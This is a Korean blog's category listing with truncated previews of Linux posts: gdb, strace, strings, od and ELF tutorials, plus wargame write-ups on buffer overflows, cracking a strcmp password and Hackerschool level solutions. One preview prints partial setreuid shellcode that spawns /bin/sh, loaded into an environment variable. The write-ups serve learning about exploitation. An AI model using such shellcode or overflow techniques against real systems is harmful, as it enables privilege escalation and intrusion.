반응형

Linux/Linux_technic 24

제한시간 1초, 수학문제 프로그램 해킹?!

/* * http://sosal.tistory.com/ * made by so_Sal */ /* * 이 포스팅을 이해하기 위해선 * c언어 srand(), time(), rand() 함수들 * 리눅스 read write 파일 시스템콜 뿐만 아니라 * fork(), execl(), pipe(), dup2() 프로세스 시스템콜을 * 미리 아셔야 이해할 수 있습니다./ */ 예전에 숫자 맞추는 게임(?)이 널루트 가입문제로 나왔었던 기억이..있습니다 ㅎㅎ 아마 억대자리수 덧셈이었나?? 그럴텐데.. 기억이 잘 안나네요. (동아리 선배분께서 열심히 풀고계신걸 잠깐 본적이 ㅎㅎㅎ) 여튼, 번뜩 생각나서 고걸 부셔버리는걸로.. 한번 포스팅 해보려고 합니다. 목적은 1초안에 1만자리수 덧셈문제를 풀기! 입니다. sra..

Linux/Linux_technic 2010.11.06

bof를 이용하여 함수포인터 공략하기

/* * http://sosal.tistory.com/ * made by so_Sal */ 함수포인터를 블로그에 정리한적이 없었네요.. 이번기회에 함수포인터도 정리할겸~~ 포스팅합니다. 배열의 이름이 배열이 메모리의 어떤 공간에 저장되어있는지를 가리키듯, 함수의 이름은 함수의 내용이 메모리 어디에 적재되었는지 포인터가 되어 가리키고 있는것입니다. 주로 윈도우에서 DLL을 로드할 때, 함수포인터를 사용합니다. #include int foo(){ //func1 foo() printf("foo - function1\n"); return 1; } int boo(){ //func2 boo() printf("boo - function2\n"); return 2; } int main(){ int value; int ..

Linux/Linux_technic 2010.11.06

Strcmp 부분 gdb로 암호 문자열 크랙하기

/* * http://sosal.tistory.com/ * made by so_Sal */ 가끔 프로그램이, 변수에 어떤 값이 들어가있는지 궁금할 때가 있다. 그때는 심볼이나 디버깅 정보를 삽입하여, gdb에서 watch 명령어나 직접적으로 메모리에 접근하여 정보를 가져오는방법, 레지스터를 확인하는 방법 등이 있는데, 이 포스팅에서 레지스터가 가리키는 문자열 변수에 어떤 값이 들어가있는지 GDB 디버깅 툴을 이용하여 확인하는 방법을 알아보려고 한다. (답) ANUG9LMRKOB^IS_SOSAL #include #include int main(){ char password[] = "MY_PASSWORD_IS_SOSAL"; char input[100] = ""; int length = strlen(passw..

Linux/Linux_technic 2010.08.29

Linux :: Strace - 시스템콜과 신호 추적

strace는 system-call Tracer를 의미하는 말로, strace에 의해 추적되는 프로세스의 시스템콜, 신호를 모두 화면에 출력한다. (시스템콜 ex : read,write,exit,lstat,ipc,fork.... 대부분 표준 C 라이브러리 내에 함수로 존재) strace 프로그램은 ptrace라는 시스템콜을 사용하여 자식 프로세스가 어떤 시스템 콜을 호출하는지 감시하고, 호출하는 시스템 콜에 대해 화면에 출력한다. :: 시스템콜 실패시 strace를 이용하면 어떤 시스템콜이 실패하였는지 쉽게 알아낼 수 있다. :: 예외처리를 해준다면 더욱 쉽게 알아낼 수 있을 것이다. 일단 strace 유틸리티로 추적해볼 프로그램을 만들어보자. /* * gcc scall.c -o scall * 굵게 표시..

Linux/Linux_technic 2010.03.04

해커스쿨 11~20 정답, 공격코드

/* * http://sosal.tistory.com/ * made by so_Sal */ ////////// hkpco. universal setreuid() shellcode. 문서에서 발췌해온 쉘코드입니다. ////////////// 자주쓰는 쉘코드입니다. http://hkpco.kr/paper/universal%20setreuid%20shellcode.txt (shell에서 환경변수 추가) export hk=`perl -e 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80","\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31..

Linux/Linux_technic 2010.01.31

Linux :: 디버거 GDB 디버깅 테크닉

/* * http://sosal.tistory.com/ * made by so_Sal */ 1. 디버깅 정보를 담아 컴파일 하기 2. gdb 실행하기, 프로그램 디버깅 시작하기, gdb 종료하기 3. 프로그램의 c언어 소스 보기 (디버깅 정보 포함) 4. 프로그램의 어셈블리 코드 보기 5. break 포인트. 디버깅 실행과 진행 명령어 6. 변수, 포인터 값 보기, 출력 형식 지정,함수 리턴값 지정 등 value 값 모니터링 하기 7. 변수값 바꾸기 8. 레지스터 값 보기 9. 메모리가 가지는 값 확인하기 10. 디버깅중인 프로세스에 시그널 보내기 gdb :: GNU Debugger GDB는 컴퓨터 프로그램을 실행하여, 사용자에게 실행 과정을 추적하고, 중간에 임의로 수정, 심볼(함수,변수)들을 모니터링..

Linux/Linux_technic 2010.01.31

Hackerschool Level11 Exploit

/* * http://sosal.tistory.com/ * made by so_Sal */ 오랜만에 다시 해커스쿨 잡아봤습니다.. ㅠㅠ ID :: Level11 PW :: what!@#$? 이 포스트에서는 문제의 풀이에대한 요점만 다룹니다. 따라서 BOF의 이해는 아래 링크루 ^-^ LINK_ #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } 256 크기의 배열이 선언되어있고, 이 스택을 overflow 시켜서 ret값을 바꾸면 되겠네요. 배열을 선언할때마다 dummy 메모리 (잉여공간)이 생성됩니다. 따라서 메모리..

Linux/Linux_technic 2010.01.10

strings - 의미 있는 문자열 dump

/* * http://sosal.tistory.com/ * made by so_Sal */ :: strings :: 어떤 파일에서 읽을 수 있는 문자열을 찾아내 출력해주는 개발도구 파일에서 주어지는 binary 코드에서, 적어도 4바이트보다 긴 문자열을 찾아내 출력한다. 초기화 되었거나, 오브젝트 섹션에 해당하는 파일은 위와 같이 처리하고, 만약 다른 형식의 파일은 파일 전체의 문자열을 출력. 보통 파일 안에있는 문자열을 보거나, 텍스트 파일인지 확인하기 위하여 자주 쓰여진다. #include #include int main(void){ char secret[10]={'\0',}; char answer[10]="i'm_sosal_"; printf("비밀번호를 입력하세요 :: "); scanf("%s",s..

Linux/Linux_technic 2009.11.08

Object file - ELF 파일

/* * http://sosal.tistory.com/ * made by so_Sal */ ELF :: Executable and Linking Format의 약자로, 실행 가능한 바이너리 또는 오브젝트 파일 등의 형식을 규정한것 ELF 파일은 ELF 헤더가 반드시 맨 앞에 위치하고, 프로그램 헤더 테이블과 섹션 헤더 테이블이 그 뒤에 위치합니다. 헤더의 구조는 elf.h를 참조하세요. b ELF에서 사용하는 자료형 elf 바이너리에는 32비트와 64비트, 두가지가 있습니다. 자료형 N = 32 N = 64 설명 ElfN_Half uint16_t uint16_t 부호 없는 16 비트 값 ElfN_Word uint32_t uint32_t 부호 없는 32 비트 값 ElfN_Sword int32_t in..

Linux/Linux_technic 2009.10.23

od - 바이너리 파일 덤프

/* * http://sosal.tistory.com/ * made by so_Sal */ od = octal dump (octal = 8진법)라는 의미로, 바이너리 파일을 8진수로 덤프해서 줄력하는 명령어입니다. od /bin/bash | head -5 head -5 는 출력되는 줄의 윗부분 5줄만 거른다는 뜻입니다. 맨 왼쪽 00000*0은 시작점으로부터의 offset을 8진수를 표시한 것입니다. (offset은 좌측 메모리 시작점을 0으로 하여 숫자를 통해 위치를 알려주는 좌표계 역할을 함) 2바이트씩 8개, 16바이트씩 출력하기 때문에 00,20,40... 으로 늘어나게 됩니다. 출력 형식 지정 (-t 명령어) 형 의미 a 문자의 이름(7비트 ASCII) c ASCII 문자 또는 escape 문..

Linux/Linux_technic 2009.10.23
반응형